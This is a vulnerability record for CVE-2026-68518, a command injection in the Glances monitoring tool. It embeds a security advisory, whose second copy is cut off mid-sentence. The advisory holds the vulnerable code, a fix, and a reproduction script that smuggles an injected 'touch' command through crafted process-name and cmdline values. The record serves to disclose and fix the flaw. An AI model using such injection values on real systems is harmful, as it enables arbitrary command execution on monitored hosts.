{"id":"CVE-2026-68518","aliases":["DEBIAN-CVE-2026-68518","EUVD-2026-60265","GHSA-qcpp-8x79-hhp3","PYSEC-2026-3668","UBUNTU-CVE-2026-68518","openSUSE-SU-2026:11674-1"],"status":"published","title":"Glances: Command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","severity":{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00173,"percentile":0.06829,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-08-17T16:18:29Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"PyPI","package":"glances","fixed_in":["4.5.6"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"glances","fixed_in":["4.5.6+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.5.5"},{"fixed":"4.5.6"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.1.1+dfsg-1","3.4.0.3+dfsg-1","4.0.5+dfsg-1","4.1.2.1+dfsg-1","4.2.1+dfsg-1","4.3.0.8+dfsg-1","4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1","4.5.7+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1","4.5.7+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.6+dfsg-1"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.6"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.6"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3-1build1","2.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10-2","2.11.1-1","2.11.1-2","2.11.1-3","2.11.1-3ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0-1","3.1.1-1","3.1.3-1","3.1.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.5-1","3.2.3.1+dfsg-1","3.2.4.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.0.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.6-1.1"}]}],"bundled":6}],"products":[{"vendor":"nicolargo","product":"glances"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-qcpp-8x79-hhp3","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/nicolargo/glances/commit/9c280eae5419da680827024b60f6265956e31994","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-qcpp-8x79-hhp3","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68518.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68518","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-68518","tags":["advisory"]},{"url":"https://github.com/nicolargo/glances","tags":["package"]},{"url":"https://pypi.org/project/glances","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-68518","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-68518","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2021-23418","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62982","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68517","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68518","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68519","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68520","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-68518","title":"Glances: Command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","status":"published","published":"2026-08-17T16:18:29.391Z","modified":"2026-08-17T19:37:48.603Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:45:59.110885Z"}],"euvd":[{"id":"EUVD-2026-60265","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","status":"published","published":"2026-08-17T16:18:29Z","modified":"2026-08-17T19:37:48Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T18:01:48.395378Z"}],"ghsa":[{"id":"GHSA-qcpp-8x79-hhp3","title":"Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","description":"### Summary\n\nThe Glances action system lets an administrator configure shell commands that run\nwhen a monitoring threshold is crossed. The command is a Mustache template whose\nvariables are filled with runtime stat fields such as a process name, a container\nname or a filesystem mount point. Those fields are attacker-influenceable: a\nlocal, unprivileged user who starts a process (or a container) controls its name\nand command line. The rendered command is executed by `secure_popen()`, which\ninterprets `\u0026\u0026`, `|` and `\u003e` as chaining / pipe / redirection operators.\n\n`glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which\nstrips those operators from **each individual** template value before rendering.\nThe sanitization is applied per field, but the operators are reconstructed\n**across the boundary of two adjacent template variables** after Mustache\nrendering. When an action template concatenates two unescaped variables\n(`{{{a}}}{{{b}}}` or `{{\u0026a}}{{\u0026b}}`) and the attacker makes the first value end\nwith `\u0026` and the second begin with `\u0026`, the rendered command contains a real\n`\u0026\u0026`, and `secure_popen()` executes the injected command. The single-`\u0026` in each\nvalue passes the per-field filter untouched.\n\n### Affected versions\n\n`glances` `\u003c= 4.5.5` (verified against the published PyPI release `4.5.5`, the\nlatest at the time of writing; `glances.__version__ == \"4.5.5\"`). The\nper-field sanitizer `_sanitize_mustache_dict()` is present and active in this\nrelease. Not patched in any released version.\n\n### Privilege required\n\nTwo roles are involved:\n\n- A local, unprivileged user (or a container the attacker can name) supplies the\n  attacker-controlled stat values (process/container name, mount point, etc.).\n  This is the same trust boundary the action-template command-injection class\n  already recognises: the attacker controls the process name, not the\n  configuration.\n- An administrator has configured an action whose command template concatenates\n  two **unescaped** Mustache variables with no separating character\n  (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{\u0026 }}`) is a\n  documented Chevron feature and is the natural choice when the operator wants a\n  value that contains shell-significant characters to reach the command verbatim.\n\nNo network access to the target host is required beyond the ability to run a\nprocess (or start a named container) on it.\n\n### Vulnerable code (file:line)\n\n`glances/actions.py:25-46` — the per-field sanitizer:\n\n```python\n# glances/actions.py:25\n_SHELL_OPERATORS = ('\u0026\u0026', '|', '\u003e\u003e', '\u003e')\n\ndef _sanitize_mustache_dict(mustache_dict):\n    \"\"\"Return a copy of mustache_dict with shell operators replaced by spaces.\"\"\"\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            for op in _SHELL_OPERATORS:\n                v = v.replace(op, ' ')          # per-field only\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\n`glances/actions.py:100-111` — sanitize-then-render-then-execute:\n\n```python\n# glances/actions.py:100\nfor cmd in commands:\n    if chevron_tag:\n        safe_dict = _sanitize_mustache_dict(mustache_dict)\n        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here\n    else:\n        cmd_full = cmd\n    ret = secure_popen(cmd_full)                    # operators interpreted\n```\n\n### Root cause\n\n`_sanitize_mustache_dict()` removes `\u0026\u0026`, `|`, `\u003e\u003e`, `\u003e` from each value in\nisolation. It does not remove a lone `\u0026`, because a single `\u0026` is not one of the\nlisted operators. When two values are rendered next to each other by\n`chevron.render()`, a trailing `\u0026` from the first value and a leading `\u0026` from the\nsecond value join into a literal `\u0026\u0026` in `cmd_full`. `secure_popen()` then\n`cmd.split('\u0026\u0026')` and runs the second half as a separate `subprocess.Popen`\n(`shell=False`) process. The same reconstruction works for `\u003e` written as two\nadjacent `\u003e` characters split across the boundary (`...\u003e` + `\u003e...` and the\n`\u003e\u003e`/`\u003e` stripping is per field), and the sanitizer's own choice to sanitize\nbefore, rather than after, rendering is the defect.\n\nThis is an incomplete fix of the action-template command-injection issue\n(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the\nsingle-field case but not the cross-field-reconstruction case. The correct place\nto enforce the operator ban is on the fully rendered command string (or by never\nletting template-variable data introduce operators), not on the pre-render values\none at a time.\n\nChevron HTML-escapes `\u0026`, `\u003c`, `\u003e`, `\"` inside standard double-brace `{{ }}`\nsections, so double-brace templates neutralise the `\u0026\u0026` reconstruction. The\nreconstruction is reachable specifically through **unescaped** variables\n(`{{{ }}}` / `{{\u0026 }}`), which is why the per-field sanitizer is the sole\nremaining control on that path.\n\n### Reachability / How input reaches sink\n\n1. A local unprivileged user starts a process (or a container) whose `name`\n   ends with `\u0026` and whose `cmdline` begins with `\u0026 \u003ccommand\u003e` (both are stored\n   verbatim in the plugin stat item).\n2. When the plugin crosses a `warning` / `critical` threshold,\n   `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat\n   item passed as the `mustache_dict` argument.\n3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()`\n   (each keeps its single `\u0026`), then `chevron.render()` concatenates the two\n   adjacent unescaped variables, producing a literal `\u0026\u0026` in the command string.\n4. `secure_popen(cmd_full)` splits on `\u0026\u0026` and runs the attacker's segment as a\n   separate `subprocess.Popen(shell=False)` process.\n\nThe trust boundary crossed is process-name / container-name → shell operator,\nexactly the boundary the sanitizer was introduced to close.\n\n### Reproduction (end-to-end, against pinned version `glances==4.5.5`)\n\n```bash\n# 1. Install the latest published release into a clean venv\npython3.13 -m venv gv\n./gv/bin/pip install \"glances==4.5.5\"\n\n# 2. Run the reproducer, which drives the real\n#    glances.actions.GlancesActions.run() pipeline exactly as\n#    glances/plugins/plugin/model.py invokes it on an alert.\n./gv/bin/python repro.py\n```\n\n`repro.py`:\n\n```python\nimport os, sys, time\nsys.argv = ['glances']\nfrom glances.actions import GlancesActions\n\nMARK = \"/tmp/glances_crossfield_pwned\"\nNEG  = MARK + \"_neg\"\nfor f in (MARK, NEG):\n    try: os.remove(f)\n    except FileNotFoundError: pass\n\nclass Args:\n    time = 0\nga = GlancesActions(args=Args())\n\n# A processlist stat item; a local low-privilege user controls both 'name' and\n# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).\n# 'name' ends with '\u0026', 'cmdline' begins with '\u0026'  -\u003e  '\u0026\u0026' forms across the boundary.\nitem = {'name': 'evilproc\u0026', 'cmdline': '\u0026 touch %s' % MARK,\n        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}\n\n# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are\n# neutralised by chevron HTML-escaping '\u0026' -\u003e '\u0026amp;'.\nneg_item = dict(item); neg_item['cmdline'] = '\u0026 touch %s' % NEG\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl\", \"CRITICAL\", [\"logger p={{name}}{{cmdline}}\"], repeat=True, mustache_dict=neg_item)\ntime.sleep(0.3)\nprint(\"NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):\",\n      \"INJECTED\" if os.path.exists(NEG) else \"blocked (expected)\")\n\n# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field\n# _sanitize_mustache_dict leaves each single '\u0026'; the '\u0026\u0026' operator is\n# reconstructed after chevron.render, then split by secure_popen.\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl2\", \"CRITICAL\", [\"logger p={{{name}}}{{{cmdline}}}\"], repeat=True, mustache_dict=item)\ntime.sleep(0.5)\nprint(\"POSITIVE (unescaped {{{name}}}{{{cmdline}}}):\",\n      \"INJECTED - 'touch' executed\" if os.path.exists(MARK) else \"blocked\")\n```\n\nCaptured output (`glances` 4.5.5, Python 3.13, x86_64 Linux):\n\n```\nNEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)\nPOSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed\n```\n\nThe negative control confirms that the same attacker values under a standard\ndouble-brace template are blocked (chevron escapes `\u0026`). The positive case shows\nthe injected `touch` executing when the template uses two adjacent unescaped\nvariables: the file `/tmp/glances_crossfield_pwned` is created by the injected\ncommand, not by the intended `logger` action.\n\n### Impact\n\n- Arbitrary command execution as the OS user running Glances (frequently root on\n  monitored hosts) whenever an operator uses an unescaped, adjacent-variable\n  action template and an attacker controls two neighbouring stat fields.\n- The same reconstruction reaches `secure_popen()`'s file-redirection (`\u003e`) and\n  pipe (`|`) handling, allowing arbitrary file write and output piping in\n  addition to command chaining.\n- The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was\n  added specifically to stop attacker-controlled stat values from injecting shell\n  operators.\n\n### Suggested fix\n\nEnforce the operator ban on the **rendered** command string that comes from\ntemplate-variable expansion, rather than on the pre-render values in isolation.\nOne approach that mirrors the existing helper: render each variable, then reject /\nneutralise operators in the concatenated result, or strip lone `\u0026`/redirection\ncharacters that originate from variable data.\n\n```python\ndef _sanitize_mustache_dict(mustache_dict):\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            # Neutralise every shell-significant character that secure_popen\n            # can interpret, including a lone '\u0026' that could pair with an\n            # adjacent variable to reconstruct '\u0026\u0026'.\n            for ch in ('\u0026', '|', '\u003e', '\u003c'):\n                v = v.replace(ch, ' ')\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\nNeutralising the single `\u0026` (and the single `\u003e` / `|`) in each value removes the\ncross-field reconstruction because no operator character survives on either side\nof a variable boundary. Alternatively, sanitize `cmd_full` after\n`chevron.render()`, or pass the template-derived data as `secure_popen(...,\nallow_operators=False)` when the command originates from stat-field substitution.\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-08-17T16:36:37Z","modified":"2026-08-17T16:36:37Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-68518","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","status":"published","published":"2026-08-17T17:16:40.353Z","modified":"2026-10-23T16:10:00.313Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:38.647684Z"}],"osv":[{"id":"CVE-2026-68518","title":"Glances: Command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","status":"published","published":"2026-08-17T16:18:29.391Z","modified":"2026-10-28T02:30:57.829882722Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:14.808935Z"},{"id":"DEBIAN-CVE-2026-68518","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","status":"published","published":"2026-08-17T17:16:40.353Z","modified":"2026-10-24T10:01:23.014496178Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:02.094661Z"},{"id":"GHSA-qcpp-8x79-hhp3","title":"Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","description":"### Summary\n\nThe Glances action system lets an administrator configure shell commands that run\nwhen a monitoring threshold is crossed. The command is a Mustache template whose\nvariables are filled with runtime stat fields such as a process name, a container\nname or a filesystem mount point. Those fields are attacker-influenceable: a\nlocal, unprivileged user who starts a process (or a container) controls its name\nand command line. The rendered command is executed by `secure_popen()`, which\ninterprets `\u0026\u0026`, `|` and `\u003e` as chaining / pipe / redirection operators.\n\n`glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which\nstrips those operators from **each individual** template value before rendering.\nThe sanitization is applied per field, but the operators are reconstructed\n**across the boundary of two adjacent template variables** after Mustache\nrendering. When an action template concatenates two unescaped variables\n(`{{{a}}}{{{b}}}` or `{{\u0026a}}{{\u0026b}}`) and the attacker makes the first value end\nwith `\u0026` and the second begin with `\u0026`, the rendered command contains a real\n`\u0026\u0026`, and `secure_popen()` executes the injected command. The single-`\u0026` in each\nvalue passes the per-field filter untouched.\n\n### Affected versions\n\n`glances` `\u003c= 4.5.5` (verified against the published PyPI release `4.5.5`, the\nlatest at the time of writing; `glances.__version__ == \"4.5.5\"`). The\nper-field sanitizer `_sanitize_mustache_dict()` is present and active in this\nrelease. Not patched in any released version.\n\n### Privilege required\n\nTwo roles are involved:\n\n- A local, unprivileged user (or a container the attacker can name) supplies the\n  attacker-controlled stat values (process/container name, mount point, etc.).\n  This is the same trust boundary the action-template command-injection class\n  already recognises: the attacker controls the process name, not the\n  configuration.\n- An administrator has configured an action whose command template concatenates\n  two **unescaped** Mustache variables with no separating character\n  (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{\u0026 }}`) is a\n  documented Chevron feature and is the natural choice when the operator wants a\n  value that contains shell-significant characters to reach the command verbatim.\n\nNo network access to the target host is required beyond the ability to run a\nprocess (or start a named container) on it.\n\n### Vulnerable code (file:line)\n\n`glances/actions.py:25-46` — the per-field sanitizer:\n\n```python\n# glances/actions.py:25\n_SHELL_OPERATORS = ('\u0026\u0026', '|', '\u003e\u003e', '\u003e')\n\ndef _sanitize_mustache_dict(mustache_dict):\n    \"\"\"Return a copy of mustache_dict with shell operators replaced by spaces.\"\"\"\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            for op in _SHELL_OPERATORS:\n                v = v.replace(op, ' ')          # per-field only\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\n`glances/actions.py:100-111` — sanitize-then-render-then-execute:\n\n```python\n# glances/actions.py:100\nfor cmd in commands:\n    if chevron_tag:\n        safe_dict = _sanitize_mustache_dict(mustache_dict)\n        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here\n    else:\n        cmd_full = cmd\n    ret = secure_popen(cmd_full)                    # operators interpreted\n```\n\n### Root cause\n\n`_sanitize_mustache_dict()` removes `\u0026\u0026`, `|`, `\u003e\u003e`, `\u003e` from each value in\nisolation. It does not remove a lone `\u0026`, because a single `\u0026` is not one of the\nlisted operators. When two values are rendered next to each other by\n`chevron.render()`, a trailing `\u0026` from the first value and a leading `\u0026` from the\nsecond value join into a literal `\u0026\u0026` in `cmd_full`. `secure_popen()` then\n`cmd.split('\u0026\u0026')` and runs the second half as a separate `subprocess.Popen`\n(`shell=False`) process. The same reconstruction works for `\u003e` written as two\nadjacent `\u003e` characters split across the boundary (`...\u003e` + `\u003e...` and the\n`\u003e\u003e`/`\u003e` stripping is per field), and the sanitizer's own choice to sanitize\nbefore, rather than after, rendering is the defect.\n\nThis is an incomplete fix of the action-template command-injection issue\n(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the\nsingle-field case but not the cross-field-reconstruction case. The correct place\nto enforce the operator ban is on the fully rendered command string (or by never\nletting template-variable data introduce operators), not on the pre-render values\none at a time.\n\nChevron HTML-escapes `\u0026`, `\u003c`, `\u003e`, `\"` inside standard double-brace `{{ }}`\nsections, so double-brace templates neutralise the `\u0026\u0026` reconstruction. The\nreconstruction is reachable specifically through **unescaped** variables\n(`{{{ }}}` / `{{\u0026 }}`), which is why the per-field sanitizer is the sole\nremaining control on that path.\n\n### Reachability / How input reaches sink\n\n1. A local unprivileged user starts a process (or a container) whose `name`\n   ends with `\u0026` and whose `cmdline` begins with `\u0026 \u003ccommand\u003e` (both are stored\n   verbatim in the plugin stat item).\n2. When the plugin crosses a `warning` / `critical` threshold,\n   `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat\n   item passed as the `mustache_dict` argument.\n3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()`\n   (each keeps its single `\u0026`), then `chevron.render()` concatenates the two\n   adjacent unescaped variables, producing a literal `\u0026\u0026` in the command string.\n4. `secure_popen(cmd_full)` splits on `\u0026\u0026` and runs the attacker's segment as a\n   separate `subprocess.Popen(shell=False)` process.\n\nThe trust boundary crossed is process-name / container-name → shell operator,\nexactly the boundary the sanitizer was introduced to close.\n\n### Reproduction (end-to-end, against pinned version `glances==4.5.5`)\n\n```bash\n# 1. Install the latest published release into a clean venv\npython3.13 -m venv gv\n./gv/bin/pip install \"glances==4.5.5\"\n\n# 2. Run the reproducer, which drives the real\n#    glances.actions.GlancesActions.run() pipeline exactly as\n#    glances/plugins/plugin/model.py invokes it on an alert.\n./gv/bin/python repro.py\n```\n\n`repro.py`:\n\n```python\nimport os, sys, time\nsys.argv = ['glances']\nfrom glances.actions import GlancesActions\n\nMARK = \"/tmp/glances_crossfield_pwned\"\nNEG  = MARK + \"_neg\"\nfor f in (MARK, NEG):\n    try: os.remove(f)\n    except FileNotFoundError: pass\n\nclass Args:\n    time = 0\nga = GlancesActions(args=Args())\n\n# A processlist stat item; a local low-privilege user controls both 'name' and\n# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).\n# 'name' ends with '\u0026', 'cmdline' begins with '\u0026'  -\u003e  '\u0026\u0026' forms across the boundary.\nitem = {'name': 'evilproc\u0026', 'cmdline': '\u0026 touch %s' % MARK,\n        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}\n\n# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template 